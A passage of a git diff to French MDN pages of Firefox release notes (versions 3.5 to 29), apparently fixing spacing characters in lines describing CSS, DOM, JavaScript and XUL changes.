(Opera) et Trident (Internet Explorer) ({{bug("816298")}}). - Dans des contenus XHTML, la valeur `auto` de {{cssxref("hyphens", "-moz-hyphens")}} appliquait incorrectement des règles de césure quand le langage n'était pas explicitement défini. Cela a été corrigé par ({{bug("702121")}}). - Une valeur `auto` a été ajoutée pour la propriété CSS {{cssxref("-moz-orient")}}. La valeur `auto` est équivalente à `horizontal` quand appliquée à {{HTMLElement("meter")}} et {{HTMLElement("progress")}} ({{bug("835883")}}). diff --git a/files/fr/mozilla/firefox/releases/22/index.md b/files/fr/mozilla/firefox/releases/22/index.md index 85833f7b46..f1586b2317 100644 --- a/files/fr/mozilla/firefox/releases/22/index.md +++ b/files/fr/mozilla/firefox/releases/22/index.md @@ -25,11 +25,11 @@ Vous voulez aider à documenter Firefox 22 ? Parcourez la [liste des bugs qui on - Support de la propriété `multipart` avec `XMLHttpRequest`. Les réponses `multipart/x-mixed-replace` dans `XMLHttpRequest` ont été supprimées. C'était une fonctionnalité uniquement supportée par Gecko et jamais standardisée. Il est possible d'utiliser [Server-Sent Events](/fr/docs/Server-sent_events) et [Web Sockets](/fr/docs/WebSockets) ou d'inspecter la propriété `responseText` des _progress events_ à la place. - Le support des [Web Notifications](http://notifications.spec.whatwg.org/) est activé par défaut. ({{bug(782211)}}). -- La méthode {{domxref("XMLHttpRequest/FormData", "FormData")}} `append` accepte maintenant un troisième paramètre optionnel `filename` ({{bug(690659)}}). +- La méthode {{domxref("XMLHttpRequest/FormData", "FormData")}} `append` accepte maintenant un troisième paramètre optionnel `filename` ({{bug(690659)}}). - {{domxref("Node.isSupported")}} a été supprimé ({{bug(801562)}}). - {{domxref("Node.setUserData")}} et {{domxref("Node.getUserData")}} ont été supprimés pour le contenu web et dépréciés pour le contenu chrome ({{bug(842372)}}) - Un backend Mac OS X pour {{domxref("DeviceLightEvent", "Ambient Light Events")}} a été implémenté. -- Les éléments du namespace HTML avec les noms locaux "bgsound", "multicol", et "image" n'utilisent plus l'interface `HTMLSpanElement`. "bgsound" et "multicol" utilisent `HTMLUnknownElement` et "image" utilise `HTMLElement`. +- Les éléments du namespace HTML avec les noms locaux "bgsound", "multicol", et "image" n'utilisent plus l'interface `HTMLSpanElement`. "bgsound" et "multicol" utilisent `HTMLUnknownElement` et "image" utilise `HTMLElement`. ### CSS @@ -47,14 +47,14 @@ Vous voulez aider à documenter Firefox 22 ? Parcourez la [liste des bugs qui on - [L'inspecteur de polices](https://hacks.mozilla.org/2013/04/developer-tools-update-firefox-22/) montre quelles polices sur votre ordinateur ont été appliquées sur cette page. - Le mode d'affichage de rendu visuel montre quand et où une page est re-rendue. - Les outils pour développeurs peuvent maintenant être affichés à droite d'une fenêtre et plus seulement en bas. -- Certains onglets des outils pour développeurs sont passés de [XUL à HTML](https://bugzilla.mozilla.org/show_bug.cgi?id=875727). Par exemple, l'onglet présentant les règles css fait maintenant partie de chrome://browser/content/devtools/cssruleview\.xhtml, et pas de `cssruleview.xul`. Au lieu d'ajouter une couche pour ajouter des fonctionnalités directement sur ces onglets, vous pouvez ajouter une couche et la lier par script au document xul externe afin d'ajouter des écouteurs d'événements et de changer ces documents html. +- Certains onglets des outils pour développeurs sont passés de [XUL à HTML](https://bugzilla.mozilla.org/show_bug.cgi?id=875727). Par exemple, l'onglet présentant les règles css fait maintenant partie de chrome://browser/content/devtools/cssruleview\.xhtml, et pas de `cssruleview.xul`. Au lieu d'ajouter une couche pour ajouter des fonctionnalités directement sur ces onglets, vous pouvez ajouter une couche et la lier par script au document xul externe afin d'ajouter des écouteurs d'événements et de changer ces documents html. - L'affichage en pile est maintenant affiché en fil d'Ariane en haut de l'onglet et la liste des scripts est maintenant sur la gauche du débuggeur. ## A voir aussi -- [Notes de version de Firefox 22 Beta](http://www.mozilla.org/en-US/firefox/22.0beta/releasenotes/) -- [Compatibilité des sites avec Firefox 22](/fr/docs/Site_Compatibility_for_Firefox_22) -- [Compatibilité des add-ons avec Firefox 22](https://blog.mozilla.org/addons/2013/06/03/compatibility-for-firefox-22/) +- [Notes de version de Firefox 22 Beta](http://www.mozilla.org/en-US/firefox/22.0beta/releasenotes/) +- [Compatibilité des sites avec Firefox 22](/fr/docs/Site_Compatibility_for_Firefox_22) +- [Compatibilité des add-ons avec Firefox 22](https://blog.mozilla.org/addons/2013/06/03/compatibility-for-firefox-22/) ### Versions diff --git a/files/fr/mozilla/firefox/releases/25/index.md b/files/fr/mozilla/firefox/releases/25/index.md index df5cc0523f..923ff9bb06 100644 --- a/files/fr/mozilla/firefox/releases/25/index.md +++ b/files/fr/mozilla/firefox/releases/25/index.md @@ -31,14 +31,14 @@ translation_of: Mozilla/Firefox/Releases/25 ### HTML -- L'attribut {{htmlattrxref("srcdoc", "iframe")}}, permettant la spécification en ligne du contenu d'un {{HTMLElement("iframe")}}, est maintenant pris en charge ({{bug("802895")}}). +- L'attribut {{htmlattrxref("srcdoc", "iframe")}}, permettant la spécification en ligne du contenu d'un {{HTMLElement("iframe")}}, est maintenant pris en charge ({{bug("802895")}}). - Lorsqu'elle est utilisée avec un type `"image/jpeg"`, la méthode `HTMLCanvasElement.toBlob` accepte désormais un troisième attribut définissant la qualité de l'image ({{bug("891884")}}). ### JavaScript L'implémentation d'[EcmaScript 6](/fr/docs/Web/JavaScript/ECMAScript_6_support_in_Mozilla) (Harmony) continue! -- La méthode {{jsxref("Array.of()")}} est maintenant implémentée sur [`Array`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) ({{bug("866849")}}). +- La méthode {{jsxref("Array.of()")}} est maintenant implémentée sur [`Array`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) ({{bug("866849")}}). - Le support des méthodes {{jsxref("Array.prototype.find()")}} et {{jsxref("Array.prototype.findIndex()")}} a été ajouté ({{bug("885553")}}). - Les méthodes {{jsxref("Global_Objects/Number/parseInt", "Number.parseInt()")}} et {{jsxref("Global_Objects/Number/parseFloat", "Number.parseFloat()")}} ont été implémentées ({{bug("886949")}}). - Les méthodes {{jsxref("Map.prototype.forEach()")}} et {{jsxref("Set.prototype.forEach()")}} sont maintenant implémentées ({{bug("866847")}}). @@ -52,13 +52,13 @@ L'implémentation d'[EcmaScript 6](/fr/docs/Web/JavaScript/ECMAScript_6_support_ - L'[API Web Audio](/fr/docs/Web_Audio_API) est désormais prise en charge. Une implémentation incomplète était auparavant disponible derrière une péférence ({{bug("779297")}}). - Certaines clés liées à IME sous Windows sont prises en charge par `KeyboardEvent.key` ({{bug("865565")}}), voir [le tableau des noms de clé](/fr/docs/Web/API/KeyboardEvent#keyname_table_win) pour plus de détails. - Firefox pour Metro distribue désormais les événements clés de la même manière que la version bureau ({{bug("843236")}}). -- L'événement `keypress` n'est plus distribué si `preventDefault()` de l'événement `keydown` précédnt est appelé ({{bug("501496")}}), voir [le document de l'événement `keydown`](</fr/docs/Web/Reference/Events/keydown#preventDefault()_of_keydown_event>) pour plus de détails. +- L'événement `keypress` n'est plus distribué si `preventDefault()` de l'événement `keydown` précédnt est appelé ({{bug("501496")}}), voir [le document de l'événement `keydown`](</fr/docs/Web/Reference/Events/keydown#preventDefault()_of_keydown_event>) pour plus de détails. - L'interface `Future` a été renommée `Promise` ({{bug("884279")}}). - La propriété `srcDoc` sur l'interface {{domxref("HTMLIFrameElement")}}, permettant la spécification en ligne du contenu d'un {{HTMLElement("iframe")}}, est désormais prise en charge ({{bug("802895")}}). - La méthode `createTBody()` sur l'interface {{domxref("HTMLTableElement")}}, permettant d'obtenir son {{HTMLElement("tbody")}}, est désormais supportée ({{bug("813034")}}). - Le paramètre `toStart` de la méthode {{domxref("Range.collapse()")}} est maintenant facultatif et par défaut à `false`, comme défini dans la spécification ({{bug("891340")}}). - La prise en charge de l'interface {{domxref("ParentNode")}} sur {{domxref("Document")}} et {{domxref("DocumentFragment")}} a été ajoutée ({{bug("895974")}}). -- Le `previousElementSibling` et le `nextElementSibling` ont été déplacés vers {{domxref("ChildNode")}} leur permettant d'être appelés non seulement sur un objet {{domxref("Element")}} mais aussi sur un {{domxref("CharacterData")}} ou {{domxref("DocumentType")}} ({{bug("895974")}}). +- Le `previousElementSibling` et le `nextElementSibling` ont été déplacés vers {{domxref("ChildNode")}} leur permettant d'être appelés non seulement sur un objet {{domxref("Element")}} mais aussi sur un {{domxref("CharacterData")}} ou {{domxref("DocumentType")}} ({{bug("895974")}}). - La propriété `navigator.geolocation` a été mise à jour pour correspondre à la spécification. Il ne renvoie jamais `null`. Lorsque la préférence `geo.enabled` est définie sur `false`, elle renvoie désormais `undefined` ({{bug("884921")}}). - L'attribut `videoPlaybackQuality` sur l'interface {{domxref("HTMLVideoElement")}} a été remplacé par la méthode `getVideoPlaybackQuality` ({{bug(889205)}}). - L'interface non standard de `GlobalObjectConstructor` a été supprimée ({{bug(898136)}}). Cette interface a été utilisée pour ajouter des arguments aux constructeursd'APIs que les [add-ons](/fr/Add-ons) de Firefox exposaient sur l'objet global. Cette capacité a été supprimée; Notez qu'à l'heure actuelle, il n'y a pas de remplacement pour cette fonctionnalité. diff --git a/files/fr/mozilla/firefox/releases/26/index.md b/files/fr/mozilla/firefox/releases/26/index.md index 0c4e30c22a..3786242923 100644 --- a/files/fr/mozilla/firefox/releases/26/index.md +++ b/files/fr/mozilla/firefox/releases/26/index.md @@ -17,7 +17,7 @@ Firefox 26 est sorti le 10 Décembre 2013. Cet article répertorie les modificat - La propriété {{cssxref("text-decoration-line")}}, toujours préfixée, considère désormais `'blink'` comme une valeur valide, bien qu'elle ne fasse pas du tout clignoter le contenu ({{bug("812995")}}). - La propriété `non standard` {{cssxref("-moz-text-blink")}} a été supprimée ({{bug("812995")}}). - Le support de la propriété {{cssxref("image-orientation")}}, dans sa version CSS Images & Values Level 4, c'est-à-dire avec le mot clé `from-image` et le support EXIF, a été ajouté ({{bug(825771)}}). -- Le support expérimental `position: sticky` a été implémenté et peut être activé par pref `layout.css.sticky.enabled` ({{bug(886646)}}). +- Le support expérimental `position: sticky` a été implémenté et peut être activé par pref `layout.css.sticky.enabled` ({{bug(886646)}}). - La propriété {{cssxref("text-align")}} s'applique désormais au pseudo-élément {{cssxref("::-moz-placeholder")}} ({{bug(915551)}}). ### HTML @@ -57,7 +57,7 @@ L'implémentation d'[EcmaScript 6](/fr/docs/Web/JavaScript/ECMAScript_6_support_ ### MathML -- Les rendus incohérents de {{MathMLElement("mmultiscripts")}}, {{MathMLElement("msub")}}, {{MathMLElement("msup")}} et {{MathMLElement("msubsup")}} ont été unifiés et la gestion des erreurs de ces éléments a été améliorée ({{bug("827713")}}). +- Les rendus incohérents de {{MathMLElement("mmultiscripts")}}, {{MathMLElement("msub")}}, {{MathMLElement("msup")}} et {{MathMLElement("msubsup")}} ont été unifiés et la gestion des erreurs de ces éléments a été améliorée ({{bug("827713")}}). ### SVG diff --git a/files/fr/mozilla/firefox/releases/29/index.md b/files/fr/mozilla/firefox/releases/29/index.md index 0e2da6584b..6f78f5c494 100644 --- a/files/fr/mozilla/firefox/releases/29/index.md +++ b/files/fr/mozilla/firefox/releases/29/index.md @@ -33,11 +33,11 @@ _Consultez l'[article du blog Mozilla Hacks](https://hacks.mozilla.org/2014/02/c - Les Flexbox prennent désormais en charge {{cssxref("visibility")}}`: collapse` ({{bug(783470)}}). - La propriété {{cssxref("box-sizing")}} n'a pas de préfixe ({{bug(243412)}}). - La propriété {{cssxref("will-change")}}, un indice indiquant que quelque chose va s'animer a été ajoutée. La préférence `layout.css.will-change.enabled` doit être définie sur `true` pour l'activer. ({{bug(940842)}}) -- La notation exponentielle scientifique, comme `3e1` ou `10e+0`, est désormais prise en charge pour les valeurs et les dérivés {{cssxref("<number>")}}, comme {{cssxref("<percentage>")}} et les valeurs unitaires, mais pas {{cssxref("<integer>")}} ({{bug(964529)}}). +- La notation exponentielle scientifique, comme `3e1` ou `10e+0`, est désormais prise en charge pour les valeurs et les dérivés {{cssxref("<number>")}}, comme {{cssxref("<percentage>")}} et les valeurs unitaires, mais pas {{cssxref("<integer>")}} ({{bug(964529)}}). - Les images de type {{cssxref("<gradient>")}} sont désormais prises en charge dans {{cssxref("border-image")}} ({{bug(709587)}}). - La propriété {{cssxref("touch-action")}} a été mise en implémenté. Il n'est pas activé par défaut; le pref de `layout.css.touch_action.enabled` le contrôle. ({{bug(795567)}}) -- Supprimez le style par défaut redondant pour l'élément \<pre> de quirk.css ({{bug(948914)}}). -- Les variables CSS ne sont pas correctement implémentées (cycles primaires) ({{bug(950497)}}). +- Supprimez le style par défaut redondant pour l'élément \<pre> de quirk.css ({{bug(948914)}}). +- Les variables CSS ne sont pas correctement implémentées (cycles primaires) ({{bug(950497)}}). - @supports les conditions avec des jetons après que la propriété d'une déclaration doit être évaluée à false ({{bug(909170)}}). ### HTML @@ -65,7 +65,7 @@ _Consultez l'[article du blog Mozilla Hacks](https://hacks.mozilla.org/2014/02/c - {{jsxref("Date.prototype.toLocaleTimeString()")}} - Pour correspondre au projet de spécification ECMAScript6 mis à jour, les objets {{jsxref("Map")}} et {{jsxref("Set")}} traitent désormais `-0` et `+0` comme étant identiques lors de la vérification de l'égalité des clés et des valeurs. -- La `Promise` a été activée par défaut ({{bug(918806)}}). +- La `Promise` a été activée par défaut ({{bug(918806)}}). - Les [générateurs](/fr/docs/Web/JavaScript/Reference/Statements/function*) terminés renvoient maintenant un objet `IteratorResult` au lieu de lancer ({{bug(958951)}}). - Une chaîne JSON malformée analysée par {{jsxref("JSON.parse()")}} renvoie désormais un message d'erreur plus détaillé contenant le numéro de ligne et de colonne à l'origine de l'erreur d'analyse. Ceci est utile lors du débogage de données JSON volumineuses. - La méthode {{jsxref("ArrayBuffer.isView()")}} a été ajoutée ({{bug(896105)}}). diff --git a/files/fr/mozilla/firefox/releases/3.5/index.md b/files/fr/mozilla/firefox/releases/3.5/index.md index 1e9453bf35..591b999760 100644 --- a/files/fr/mozilla/firefox/releases/3.5/index.md +++ b/files/fr/mozilla/firefox/releases/3.5/index.md @@ -9,7 +9,7 @@ original_slug: Mozilla/Firefox/Versions/3.5 --- {{FirefoxSidebar}} -Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu'une gestion améliorée d'une grande variété de standards du Web. Cet article en fournit une longue liste, avec des liens vers des articles décrivant les améliorations majeures. +Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu'une gestion améliorée d'une grande variété de standards du Web. Cet article en fournit une longue liste, avec des liens vers des articles décrivant les améliorations majeures. ## Nouvelles fonctionnalités pour les développeurs dans Firefox 3.5 @@ -33,7 +33,7 @@ Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu' - Mise à jour de {{ cssxref(":before") }} et {{ cssxref(":after") }} pour CSS 2.1 - : Les pseudo-éléments `:before` et `:after` ont été mis à jour pour respecter complètement CSS 2.1, avec l'ajout des propriétés `position`, `float` et `list-style-*`, ainsi que de certaines valeurs de `display`. - Unité de longueur `ch` - - : L'unité `ch` peut à présent être utilisée à tout endroit où peut être indiquée une [unité de longueur](/fr/CSS/longueur#Unités). `1ch` est la largeur du caractère « 0 » (zéro). + - : L'unité `ch` peut à présent être utilisée à tout endroit où peut être indiquée une [unité de longueur](/fr/CSS/longueur#Unités). `1ch` est la largeur du caractère « 0 » (zéro). - {{ cssxref("opacity") }} - : L'extension à CSS `-moz-opacity` de Mozilla a été supprimée en faveur de la propriété standard `opacity`. - {{ cssxref("text-shadow") }} @@ -117,7 +117,7 @@ Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu' - [Évènements de progression pour `XMLHttpRequest`](/fr/Utilisation_de_XMLHttpRequest#Suivi_de_la_progression) - : Des évènements de progression sont à présent émis pour permettre aux extensions de surveiller l'état des requêtes. - [Amélioration des appels `XMLHttpRequest` synchrones](/fr/Utilisation_de_XMLHttpRequest#Suivi_de_la_progression) - - : Les [timeouts DOM](https://bugzilla.mozilla.org/show_bug.cgi?id=340345) et les [évènements d'entrée](https://bugzilla.mozilla.org/show_bug.cgi?id=333198) sont à présent supprimés pendant un appel `XMLHttpRequest` synchrone. + - : Les [timeouts DOM](https://bugzilla.mozilla.org/show_bug.cgi?id=340345) et les [évènements d'entrée](https://bugzilla.mozilla.org/show_bug.cgi?id=333198) sont à présent supprimés pendant un appel `XMLHttpRequest` synchrone. - [Contrôle du préchargement DNS](/fr/Contrôle_du_préchargement_DNS) - : Firefox 3.5 permet le préchargement DNS, par lequel il effectue la résolution des noms de domaines à l'avance pour les liens présents dans la page courante, afin de gagner du temps lorsque l'on clique effectivement sur ces liens. Cet article explique comment adapter votre site pour désactiver le préchargement, ou contrôler le comportement de ce préchargement. @@ -135,7 +135,7 @@ Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu' #### Nouvelles fonctionnalités SVG - [Application d'effets SVG à du contenu HTML](/fr/Application_d'effets_SVG_à_du_contenu_HTML) - - : Vous pouvez à présent appliquer des effets SVG à du contenu HTML et XHTML ; cet article explique comment. + - : Vous pouvez à présent appliquer des effets SVG à du contenu HTML et XHTML ; cet article explique comment. #### Autres nouvelles fonctionnalités @@ -147,12 +147,12 @@ Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu' ### Autres améliorations - La propriété [`wholeText`](/fr/DOM/Text.wholeText) et la méthode [`replaceWholeText()`](/fr/DOM/Text.replaceWholeText) ont été ajoutées aux nœuds texte. -- La propriété [`element.children`](/fr/DOM/Element.children) a été ajoutée. Elle renvoie une _collection_ d'éléments enfants de l'élément donné. -- L'API Element Traversal est à présent gérée par l'objet DOM [Element](/fr/DOM/element). +- La propriété [`element.children`](/fr/DOM/Element.children) a été ajoutée. Elle renvoie une _collection_ d'éléments enfants de l'élément donné. +- L'API Element Traversal est à présent gérée par l'objet DOM [Element](/fr/DOM/element). - Les nœuds HTML document peuvent à présent être clonés à l'aide de [`cloneNode()`](/fr/DOM/Node.cloneNode). -- La méthode DOM non-standard `getBoxObjectFor()` a été supprimée. Utilisez plutôt [`getBoundingClientRect()`](/fr/DOM/element.getBoundingClientRect). -- Les éléments DOM dispatchés peuvent être redispatchés. Ceci permet à Firefox 3.5 de passer le test 30 d'Acid 3. -- Des améliorations ont été apportés à la gestion de DOM 2 Range. +- La méthode DOM non-standard `getBoxObjectFor()` a été supprimée. Utilisez plutôt [`getBoundingClientRect()`](/fr/DOM/element.getBoundingClientRect). +- Les éléments DOM dispatchés peuvent être redispatchés. Ceci permet à Firefox 3.5 de passer le test 30 d'Acid 3. +- Des améliorations ont été apportés à la gestion de DOM 2 Range. - Dans un contexte non-chrome, les objets catchés dans les exceptions sont à présent les objets rejetés tels quels plutôt qu'une enveloppe [XPConnect](/fr/XPConnect) contenant ces objets. - Les références ID dans SVG sont à présent directes. - Les filtres SVG fonctionnent à présent avec `foreignObject`. @@ -181,41 +181,41 @@ Si vous développez des extensions, vous devriez tout d'abord lire [Mise à jour - Le widget XUL [`textbox`](/fr/XUL/textbox) offre à présent un type [`search`](/fr/XUL/Attribute/textbox.type), pour être utilisé en tant que champ de recherche. - Afin de gérer le glisser et déposer d'onglets entre les fenêtres, le widget [`browser`](/fr/XUL/browser) dispose à présent d'une méthode [`swapDocShells()`](/fr/XUL/Méthodes/SwapDocShells). -- Ajout de l'attribut [`level`](/fr/XUL/Attributs/Panel.level) à l'élément [`panel`](/fr/XUL/panel) ; celui-ci indique si le panel apparait par dessus les autres applications, ou uniquement au-dessus de la fenêtre contenant le panel. +- Ajout de l'attribut [`level`](/fr/XUL/Attributs/Panel.level) à l'élément [`panel`](/fr/XUL/panel) ; celui-ci indique si le panel apparait par dessus les autres applications, ou uniquement au-dessus de la fenêtre contenant le panel. - Les éléments XUL gèrent à présent les propriétés `clientHeight`, `clientWidth`, `scrollHeight` et `scrollWidth`. - Les éléments [`keyset`](/fr/XUL/keyset) disposent à présent d'un attribut `disabled`. - De plus, les `keyset`s peuvent être supprimés à l'aide de la méthode [`removeChild()`](/fr/DOM/Node.removeChild) du nœud. -- [`mozIStorageStatement`](/fr/mozIStorageStatement) a vu sa méthode `initialize()` supprimée ; ses utilisateurs doivent utiliser la méthode [`createStatement()`](</fr/mozIStorageConnection#createStatement()>) à la place pour obtenir un nouvel objet statement. +- [`mozIStorageStatement`](/fr/mozIStorageStatement) a vu sa méthode `initialize()` supprimée ; ses utilisateurs doivent utiliser la méthode [`createStatement()`](</fr/mozIStorageConnection#createStatement()>) à la place pour obtenir un nouvel objet statement. - L'API [Storage](/fr/Storage) permet à présent d'effectuer des requêtes asynchrones. - L'interface [`nsICookie2`](/fr/nsICookie2) expose à présent l'heure à laquelle les cookies ont été créés dans son nouvel attribut `creationTime`. - Un flag a été ajouté à [`nsIProtocolHandler`](/fr/nsIProtocolHandler) (`URI_IS_LOCAL_RESOURCE`) qui est vérifié au cours d'un enregistrement chrome pour s'assurer qu'un protocole a le droit d'être enregistré. - Firefox recherche à présent des plugins dans `/usr/lib/mozilla/plugins` sous Linux, outre les emplacements précédemment consultés. -- L'API des plugins a été mise à jour pour gérer le mode de navigation privée ; vous pouvez à présent utiliser [`NPN_GetValue()`](/fr/NPN_GetValue) pour connaître l'état du mode de navigation privée à l'aide de la variable `NPNVprivateModeBool`. +- L'API des plugins a été mise à jour pour gérer le mode de navigation privée ; vous pouvez à présent utiliser [`NPN_GetValue()`](/fr/NPN_GetValue) pour connaître l'état du mode de navigation privée à l'aide de la variable `NPNVprivateModeBool`. ## Nouvelles fonctionnalités pour les utilisateurs ### Interface - Navigation en fonction de sa localisation - - : Si vous le désirez, vous pouvez permettre à Firefox 3.5 de partager des informations concernant votre localisation géographique avec des sites web. Firefox 3.5 peut utiliser des informations sur le réseau auquel votre machine est connectée pour partager votre localisation. Bien évidemment, votre permission sera demandée au préalable afin de préserver votre vie privée. + - : Si vous le désirez, vous pouvez permettre à Firefox 3.5 de partager des informations concernant votre localisation géographique avec des sites web. Firefox 3.5 peut utiliser des informations sur le réseau auquel votre machine est connectée pour partager votre localisation. Bien évidemment, votre permission sera demandée au préalable afin de préserver votre vie privée. - Gestion de la vidéo et de l'audio ouverts - - : Firefox 3.5 gère l'intégration de vidéos et d'extraits audio à l'aide du format ouvert Ogg, ainsi qu'au format WAV pour l'audio. Aucun plugin nécessaire, pas de messages d'erreurs incompréhensibles vous demandant d'installer quelque chose qui n'est en fait pas disponible sur votre plateforme. + - : Firefox 3.5 gère l'intégration de vidéos et d'extraits audio à l'aide du format ouvert Ogg, ainsi qu'au format WAV pour l'audio. Aucun plugin nécessaire, pas de messages d'erreurs incompréhensibles vous demandant d'installer quelque chose qui n'est en fait pas disponible sur votre plateforme. - Stockage local de données - - : Les applications web peuvent à présent utiliser les possibilités de stockage local pour conserver des données sur votre ordinateur. Cela peut servir pour conserver des préférences ou d'autres données plus complexes. + - : Les applications web peuvent à présent utiliser les possibilités de stockage local pour conserver des données sur votre ordinateur. Cela peut servir pour conserver des préférences ou d'autres données plus complexes. ### Sécurité et vie privée - Navigation privée - : Besoin d'utiliser l'ordinateur de quelqu'un d'autre ? Activez la navigation privée et rien ne sera enregistré concernant votre session, ni cookies, ni historique, ni aucune autre information privée. - Meilleurs contrôles sur la vie privée - - : Le panneau de préférences Vie privée a été complètement revu pour disposer d'un meilleur contrôle sur vos informations privées. Les utilisateurs peuvent choisir de conserver ou d'effacer tout ce qui concerne l'historique, les cookies, les téléchargements et les informations de formulaire enregistrées. De plus, il est possible d'indiquer si l'historique et/ou les marque-pages doivent faire partie des suggestions automatiques de la Barre d'adresse, afin d'empêcher des adresses privées d'apparaître par inadvertance en saisissant des informations dans la Barre d'adresse. + - : Le panneau de préférences Vie privée a été complètement revu pour disposer d'un meilleur contrôle sur vos informations privées. Les utilisateurs peuvent choisir de conserver ou d'effacer tout ce qui concerne l'historique, les cookies, les téléchargements et les informations de formulaire enregistrées. De plus, il est possible d'indiquer si l'historique et/ou les marque-pages doivent faire partie des suggestions automatiques de la Barre d'adresse, afin d'empêcher des adresses privées d'apparaître par inadvertance en saisissant des informations dans la Barre d'adresse. ### Performances - Du JavaScript plus rapide - : Le code JavaScript est exécuté nettement plus rapidement dans Firefox 3.5 grâce à son nouveau moteur TraceMonkey. Les applications web sont ainsi beaucoup plus rapides que dans Firefox 3. - Rendu plus rapide des pages - - : Le contenu web est affiché plus rapidement dans Firefox 3.5, grâce à des technologies telles que l'« analyse spéculative ». Vos utilisateurs n'ont pas besoin de savoir de quoi il s'agit, simplement que ça rend les choses plus rapides. + - : Le contenu web est affiché plus rapidement dans Firefox 3.5, grâce à des technologies telles que l'« analyse spéculative ». Vos utilisateurs n'ont pas besoin de savoir de quoi il s'agit, simplement que ça rend les choses plus rapides. ## Voir également diff --git a/files/fr/mozilla/firefox/releases/3.6/index.md b/files/fr/mozilla/firefox/releases/3.6/index.md index 6bbdd14e3d..69e0df2513 100644 --- a/files/fr/mozilla/firefox/releases/3.6/index.md +++ b/files/fr/mozilla/firefox/releases/3.6/index.md @@ -63,11 +63,11 @@ Firefox 3.6 (nom de code [Namoroka](https://wiki.mozilla.org/Firefox/Namoroka)) #### Autres changements CSS -- L'unité de longueur [`rem`](/fr/docs/CSS/longueur) de [CSS3 Values and Units](http://www.w3.org/TR/css3-values/#lengths) est maintenant supportée. Voir [bug 472195](https://bugzilla.mozilla.org/show_bug.cgi?id=472195). -- [`image-rendering`](/fr/docs/Web/CSS/image-rendering) est gérée pour les images, images de fond, vidéos et canvas. Voir [bug 423756](https://bugzilla.mozilla.org/show_bug.cgi?id=423756). -- [`text-align`](/fr/docs/Web/CSS/text-align):end est maintenant supportée. Voir [bug 299837](https://bugzilla.mozilla.org/show_bug.cgi?id=299837). +- L'unité de longueur [`rem`](/fr/docs/CSS/longueur) de [CSS3 Values and Units](http://www.w3.org/TR/css3-values/#lengths) est maintenant supportée. Voir [bug 472195](https://bugzilla.mozilla.org/show_bug.cgi?id=472195). +- [`image-rendering`](/fr/docs/Web/CSS/image-rendering) est gérée pour les images, images de fond, vidéos et canvas. Voir [bug 423756](https://bugzilla.mozilla.org/show_bug.cgi?id=423756). +- [`text-align`](/fr/docs/Web/CSS/text-align):end est maintenant supportée. Voir [bug 299837](https://bugzilla.mozilla.org/show_bug.cgi?id=299837). - Les changements DOM sur des éléments utilisant les types de [`display`](/fr/docs/Web/CSS/display) table fonctionnent beaucoup mieux. -- Ajout de [`:-moz-locale-dir(ltr)`](</fr/docs/Web/CSS/:-moz-locale-dir(ltr)>) et [`:-moz-locale-dir(rtl)`](</fr/docs/Web/CSS/:-moz-locale-dir(rtl)>) pour faciliter la personnalisation de mise en page selon l'orientation de l'interface dépendant de la locale (gauche à droite ou droite à gauche). Voir [bug 478416](https://bugzilla.mozilla.org/show_bug.cgi?id=478416). +- Ajout de [`:-moz-locale-dir(ltr)`](</fr/docs/Web/CSS/:-moz-locale-dir(ltr)>) et [`:-moz-locale-dir(rtl)`](</fr/docs/Web/CSS/:-moz-locale-dir(rtl)>) pour faciliter la personnalisation de mise en page selon l'orientation de l'interface dépendant de la locale (gauche à droite ou droite à gauche). Voir [bug 478416](https://bugzilla.mozilla.org/show_bug.cgi?id=478416). - Ajout de la pseudo-classe [`:indeterminate`](/fr/docs/Web/CSS/:indeterminate) correspondant aux éléments [`<input>`](/fr/docs/Web/HTML/Element/input) `checkbox` dont l'attribut `indeterminate` est `true`. - Les plugins fenêtrés ne sont plus affichés par la propriété CSS tranforms, car ils ne peuvent pas être correctement tranformés par le compositeur. @@ -98,7 +98,7 @@ Gecko 1.9.2 introduit JavaScript 1.8.2, qui ajoute un certain nombre de fonction - Glisser-déposer de fichiers - : L'objet [`DataTransfer`](/fr/docs/DragDrop/DataTransfer) fournit à présent aux observateurs de glisser-déposer une liste des fichiers glissés. - Vérification pour voir si un élément correspond à un sélecteur CSS - - : La nouvelle méthode `element.mozMatchesSelector` permet de déterminer si un élément correspond bien à un sélecteur CSS. Voir [bug 518003](https://bugzilla.mozilla.org/show_bug.cgi?id=518003). + - : La nouvelle méthode `element.mozMatchesSelector` permet de déterminer si un élément correspond bien à un sélecteur CSS. Voir [bug 518003](https://bugzilla.mozilla.org/show_bug.cgi?id=518003). - [Dispositf de détection de l'orientation](/fr/docs/Detecting_device_orientation) - : Le contenu peut à présent détecter l'orientation de l'appareil s'il dispose d'un accéléromètre, à l'aide de l'évènement `MozOrientation`. Firefox 3.6 gère notamment l'accéléromètre des ordinateurs portables Mac. - [Détection des changements de largeur et hauteur d'un document](/fr/docs/Mozilla_event_reference/MozScrolledAreaChanged) @@ -106,12 +106,12 @@ Gecko 1.9.2 introduit JavaScript 1.8.2, qui ajoute un certain nombre de fonction <!----> -- La méthode `getBoxObjectFor()` a été **supprimée**, car elle n'était pas standard et exposait d'autres fonctionnalités non standard. Voir [bug 340571](https://bugzilla.mozilla.org/show_bug.cgi?id=340571). La bibliothèque [MooTools](http://mootools.net/) qui utilisait cet appel pour la détection de Gecko est affectée ; cela a été corrigé dans la dernière version de MooTools, assurez-vous donc d'être à jour. +- La méthode `getBoxObjectFor()` a été **supprimée**, car elle n'était pas standard et exposait d'autres fonctionnalités non standard. Voir [bug 340571](https://bugzilla.mozilla.org/show_bug.cgi?id=340571). La bibliothèque [MooTools](http://mootools.net/) qui utilisait cet appel pour la détection de Gecko est affectée ; cela a été corrigé dans la dernière version de MooTools, assurez-vous donc d'être à jour. - Les nouvelles propriétés [`mozInnerScreenX`](/fr/docs/DOM/window.mozInnerScreenX) et [`mozInnerScreenY`](/fr/docs/DOM/window.mozInnerScreenY) sur les objets DOM window on été ajoutés ; ils renvoient les coordonnées à l'écran du coin supérieur gauche de la zone de visualisation de la fenêtre. - La nouvelle propriété `mozScreenPixelsPerCSSPixel` de 